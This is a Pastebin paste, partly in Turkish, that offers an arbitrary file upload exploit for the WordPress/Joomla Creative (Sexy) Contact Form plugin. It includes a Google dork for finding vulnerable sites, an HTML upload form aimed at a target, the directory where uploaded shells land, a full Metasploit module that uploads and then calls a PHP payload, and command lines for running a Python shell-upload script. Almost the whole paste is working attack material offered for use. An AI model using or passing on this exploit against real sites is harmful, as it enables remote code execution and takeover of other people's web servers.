KingSkrupellos

WordPress Sexy Contact Creative Contact Form Shell HTML Uplo

Sep 25th, 2017
719
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.19 KB | None | 0 0
  1. Exploitin Türkçe Yazarı => KingSkrupellos - Cyberizm.Org Digital Security Team
  2.  
  3. Exploitin Başlığı => WordPress Sexy Contact Creative Contact Form Arbitrary File Upload Vulnerability Exploit
  4.  
  5. https://www.cyberizm.org/cyberizm-wordpress-sexy-contact-creative-contact-form-shell-html-upload-exploiter.html
  6.  
  7. [video=youtube]https://www.youtube.com/watch?v=ZVL2jvAafnA&feature=youtu.be[/video]
  8.  
  9. Google Dork: inurl:"wp-content/plugins/sexy-contact-form"
  10.  
  11. CSRF Exploit Kodu =>
  12.  
  13. [hide][code]<form method="POST" action="
  14. http://TARGET/wp-content/plugins/sexy-contact-form/includes/fileupload/index.php"
  15. enctype="multipart/form-data">
  16. <input type="file" name="files[]" /><button>Upload</button>
  17. </form>[/code][/hide]
  18.  
  19. Dosyanın Yüklendiği Dizin =>
  20.  
  21. HEDEFSİTE/wp-content/plugins/sexy-contact-form/includes/fileupload/files/DOSYAN-İSMİ.php [ .txt .png .html .htm ]
  22.  
  23. WordPress Plugin 0.9.7 / Joomla! Component 2.0.0 Creative Contact Form - Arbitrary File Upload
  24.  
  25. MetaSploit Exploit =>
  26.  
  27. [hide][code]##
  28. # This module requires Metasploit: http://metasploit.com/download
  29. # Current source: https://github.com/rapid7/metasploit-framework
  30. ##
  31.  
  32. require 'msf/core'
  33.  
  34. class Metasploit3 < Msf::Exploit::Remote
  35. Rank = ExcellentRanking
  36.  
  37. include Msf::HTTP::Wordpress
  38. include Msf::Exploit::FileDropper
  39.  
  40. def initialize(info = {})
  41. super(update_info(info,
  42. 'Name' => 'Wordpress Creative Contact Form Upload Vulnerability',
  43. 'Description' => %q{
  44. This module exploits an arbitrary PHP code upload in the WordPress Creative Contact
  45. Form version 0.9.7. The vulnerability allows for arbitrary file upload and remote code execution.
  46. },
  47. 'Author' =>
  48. [
  49. 'KingSkrupellos', # Vulnerability discovery
  50. ' Cyberizm Digital Security Team <kingskrupellos>' # Metasploit module
  51. ],
  52. 'License' => MSF_LICENSE,
  53. 'References' =>
  54. [
  55. ['EDB', '35057'],
  56. ['OSVDB', '113669'],
  57. ['WPVDB', '7652']
  58. ],
  59. 'Privileged' => false,
  60. 'Platform' => 'php',
  61. 'Arch' => ARCH_PHP,
  62. 'Targets' => [['Creative Contact Form 0.9.7', {}]],
  63. 'DisclosureDate' => 'Oct 22 2014',
  64. 'DefaultTarget' => 0)
  65. )
  66. end
  67.  
  68. def check
  69. check_plugin_version_from_readme('sexy-contact-form', '1.0.0')
  70. end
  71.  
  72. def exploit
  73. php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
  74.  
  75. data = Rex::MIME::Message.new
  76. data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"files[]\"; filename=\"#{php_pagename}\"")
  77. post_data = data.to_s
  78.  
  79. res = send_request_cgi({
  80. 'uri' => normalize_uri(wordpress_url_plugins, 'sexy-contact-form', 'includes', 'fileupload', 'index.php'),
  81. 'method' => 'POST',
  82. 'ctype' => "multipart/form-data; boundary=#{data.bound}",
  83. 'data' => post_data
  84. })
  85.  
  86. if res
  87. if res.code == 200 && res.body =~ /files|#{php_pagename}/
  88. print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
  89. register_files_for_cleanup(php_pagename)
  90. else
  91. fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
  92. end
  93. else
  94. fail_with(Failure::Unknown, 'ERROR')
  95. end
  96.  
  97. print_status("#{peer} - Calling payload...")
  98. send_request_cgi(
  99. 'uri' => normalize_uri(wordpress_url_plugins, 'sexy-contact-form', 'includes', 'fileupload', 'files', php_pagename)
  100. )
  101. end
  102. end[/code][/hide]
  103.  
  104. Exploit Kullanımı =>
  105.  
  106. WordPress:
  107. kingskrupellos@backbox3:~$ python wp_j00m_creative_contact_form_shell_upload.py -t http[s]://localhost[:PORT] -f shell.php -c wordpress
  108. or
  109. kingskrupellos@backbox3:~$ python wp_j00m_creative_contact_form_shell_upload.py -t http[s]://localhost[:PORT]/basedir -f shell.php -c wordpress
  110.  
  111. Joomla:
  112. kingskrupellos@backbox3:~$ python wp_j00m_creative_contact_form_shell_upload.py -t http[s]://localhost[:PORT] -f shell.php -c joomla
  113. or
  114. kingskrupellos@backbox3:~$ python wp_j00m_creative_contact_form_shell_upload.py -t http[s]://localhost[:PORT]/basedir -f shell.php -c joomla
Advertisement
Add Comment
Please, Sign In to add comment